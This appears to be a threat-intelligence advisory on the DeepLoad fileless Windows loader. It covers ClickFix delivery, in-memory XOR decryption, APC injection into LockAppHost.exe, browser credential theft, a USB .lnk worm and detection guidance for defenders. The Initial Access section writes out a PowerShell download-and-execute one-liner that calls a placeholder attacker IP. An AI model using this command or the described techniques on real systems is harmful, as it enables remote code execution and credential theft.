# DeepLoad Fileless Loader — ClickFix Delivery, APC Injection into LockAppHost.exe, USB .lnk Worm and Credential Theft

> DeepLoad is a fileless Windows loader first observed in March 2026 and analyzed publicly by Picus Security in May 2026. Operators deliver the loader via the ClickFix social engineering technique, tricking victims into pasting an attacker-supplied PowerShell one-liner that fetches an obfuscated script over HTTP on port 3015. The script XOR-decrypts a payload entirely in memory, injects it into the trusted Windows lock screen process LockAppHost.exe via APC queuing, installs a scheduled task for persistence, steals browser credentials through a filemanager.exe stealer and a malicious browser extension that captures credentials in real time, and propagates over USB drives by dropping 40+ disguised .lnk shortcuts that re-trigger the full infection chain.

- **Published:** 2026-05-22T12:00:00Z
- **Last reviewed:** 2026-05-22T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0558
- **ID:** TL-2026-0558
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 15 (full data via the Threadlinqs MCP server — Purple tier)

## Description

DeepLoad is a multi-stage fileless loader and credential-theft toolchain first observed in the wild in March 2026 and published in technical detail by Picus Security (Umut Bayram) on 22 May 2026. The intrusion set is notable for combining the ClickFix social engineering pattern, in-memory XOR-decrypted payloads, APC-queue process injection into trusted Windows binaries (notably LockAppHost.exe), scheduled-task persistence, dual-track browser credential theft, and a USB .lnk worm component that has been seen dropping 40+ shortcut files disguised as common installers.

Initial Access. The campaign uses ClickFix lures — typically a fake browser or document error page that instructs the victim to press Win+R or open a terminal and paste a supplied command 'to repair' the issue. The pasted command follows the pattern powershell.exe -ep Bypass -Command "iex(irm hxxp://<malicious_ip>:3015/index)", retrieving a heavily obfuscated PowerShell script from the operator's server on TCP/3015. No file is dropped to disk during this stage; the user-pasted command line and PowerShell process tree are the primary forensic artifacts.

Deobfuscation and In-Memory Execution. The fetched script buries its real logic under thousands of meaningless variable assignments to defeat pattern-matching scanners and visual review. The active code XOR-decodes an embedded payload entirely in memory using a hardcoded key. Because the decoded stage never touches disk, conventional file-based antivirus and EDR file-write telemetry do not fire; only behavioral telemetry around PowerShell child processes, suspicious in-memory allocations, and process injection captures the activity.

Process Injection (APC into LockAppHost.exe). The decoded loader allocates memory in a remote target process and queues an Asynchronous Procedure Call (APC) against a thread within that process so that the malicious code runs in the context of a trusted Windows binary. DeepLoad notably targets LockAppHost.exe, the host process for the Windows lock-screen experience, which is a long-lived signed Microsoft binary and an unusual injection target that bypasses many heuristics tuned for explorer.exe, svchost.exe, or browser injection. Other trusted Microsoft binaries are also targeted in observed samples.

Persistence. After the active payload is resident in the trusted process, it creates a scheduled task that re-invokes the loader on user logon or on a recurring schedule, giving operators durable access without writing the active code to disk.

Credential Theft (Two Tracks). DeepLoad runs credential theft on two parallel tracks. The first is filemanager.exe, a standalone stealer module that scrapes saved browser passwords from Login Data SQLite databases and decrypts them with the per-user DPAPI keys available to the logged-on user. The second is a malicious browser extension installed into the victim's browser profile that hooks form inputs and intercepts credentials in real time as the user types them, defeating credential vaulting and any post-hoc rotation. Both tracks exfiltrate to the operator's HTTP infrastructure.

Lateral Movement / Propagation. Each infected host can act as a propagation node. The loader enumerates attached USB drives and drops 40+ Windows shortcut (.lnk) files disguised as common installers (browser installers, Microsoft Office bundles, well-known utilities). Each shortcut, when double-clicked on a new host, re-runs the ClickFix-equivalent command chain via cmd.exe / powershell.exe to re-trigger the full infection. This makes DeepLoad effectively a worm in any environment that permits USB use, and means a single infected USB drive can re-seed an environment after remediation.

Defensive Implications. Because the loader is fileless, traditional file-hash blocking, signature scanning, and even YARA rules over disk content provide little coverage. Effective detection requires (1) PowerShell ScriptBlock and Module logging to capture the deobfuscated content, (2) Sysmon Event ID 8 (CreateRemoteThread) and Event ID 10 (process access with VM_WRITE / VM_OPERATION) for the APC injection, (3) parent-child analysis flagging LockAppHost.exe with anomalous network or file activity, (4) registry / scheduled-task creation telemetry, and (5) endpoint policy disabling AutoRun and treating .lnk files on removable media as high-risk. The Picus Security Threat Library tracks DeepLoad behaviors under IDs 56483 and 37782, providing ready-made simulation content for purple-team validation.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1566 Phishing
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1106 Native API
- T1053 Scheduled Task/Job
- T1055 Process Injection
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1620 Reflective Code Loading
- T1036 Masquerading
- T1555 Credentials from Password Stores
- T1056 Input Capture
- T1539 Steal Web Session Cookie
- T1083 File and Directory Discovery
- T1518 Software Discovery
- T1082 System Information Discovery
- T1091 Replication Through Removable Media
- T1005 Data from Local System
- T1185 Browser Session Hijacking
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1571 Non-Standard Port
- T1041 Exfiltration Over C2 Channel

## Sources

- [DeepLoad Malware Explained: ClickFix Delivery and Password Stealing](https://www.picussecurity.com/resource/blog/deepload-malware-explained-clickfix-delivery-and-password-stealing)
- [MITRE ATT&CK T1204.004 — User Execution: Malicious Copy and Paste (ClickFix)](https://attack.mitre.org/techniques/T1204/004/)
- [MITRE ATT&CK T1055.004 — Process Injection: Asynchronous Procedure Call](https://attack.mitre.org/techniques/T1055/004/)
- [MITRE ATT&CK T1059.001 — Command and Scripting Interpreter: PowerShell](https://attack.mitre.org/techniques/T1059/001/)
- [MITRE ATT&CK T1091 — Replication Through Removable Media](https://attack.mitre.org/techniques/T1091/)
- [MITRE ATT&CK T1555.003 — Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003/)
- [Microsoft Learn — Detect malicious PowerShell scripts using script block logging](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows)
- [Sysmon Event ID 8 — CreateRemoteThread (process injection telemetry)](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon)
- [Picus Threat Library — DeepLoad Modules 56483 and 37782](https://www.picussecurity.com/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0558